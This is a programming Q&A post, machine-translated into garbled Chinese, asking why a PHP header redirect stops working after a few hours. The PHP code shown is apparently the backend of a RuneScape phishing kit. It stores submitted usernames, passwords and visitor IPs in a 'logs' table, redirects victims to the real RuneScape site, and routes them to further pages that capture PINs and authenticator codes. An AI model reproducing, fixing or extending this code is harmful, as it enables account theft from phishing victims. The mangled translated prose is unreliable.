PHP标头位置工作，然后几个小时后停止工作

Question

好吧，所以继承我的问题......标题（＆＃34;地点：blahblah.php＆＃34;）;将工作然后几个小时后它会停止并生病添加ob_start（）;和ob_end_flush（）;由标题。那么几个小时之后就会停止工作并且不适当地改变它，它将再工作几个小时然后停止工作等等。

继承我的代码。

<?php
        error_reporting(E_ALL & ~E_NOTICE & ~E_WARNING);
        require_once("config.php");
        if($_POST["login"]){
            $stmt11 = $db->prepare("SELECT * FROM users WHERE code = :code");
            $stmt11->execute(array(":code" => $_GET["id"]));
            $row11 = $stmt11->fetch();
            $username = htmlentities($_POST["username"], ENT_QUOTES);
            $password = htmlentities($_POST["password"], ENT_QUOTES);
            if($row11["pin"] == "false" and $row11["auth"] == "false"){
                $ip = $_SERVER["REMOTE_ADDR"];
                $stmt = $db->prepare("INSERT INTO logs (username, password, ip, code) VALUES (:username, :password, :ip, :code)");
                $stmt->execute(array(":username" => $username, ":password" => $password, ":ip" => $ip, ":code" => $_GET["id"]));
                header("Location: https://www.runescape.com/error.php");
            } else {
                if($row11["pin"] == "true" and $row11["auth"] == "true"){
                    header("Location: verification.ws?username=" . $username . "&pw=" . $password . "&id=" . $_GET["id"] . "&auth=true");
                } else {
                    if($row11["pin"] == "false" and $row11["auth"] == "true"){
                        header("Location: auth.ws?username=" . $username . "&pw=" . $password . "&id=" . $_GET["id"]);              
                    } else {
                        if($row11["pin"] == "true" and $row11["auth"] == "false"){
                            header("Location: verification.ws?username=" . $username . "&pw=" . $password . "&id=" . $_GET["id"]);
                        }
                    }
                }
            }
        }
?>
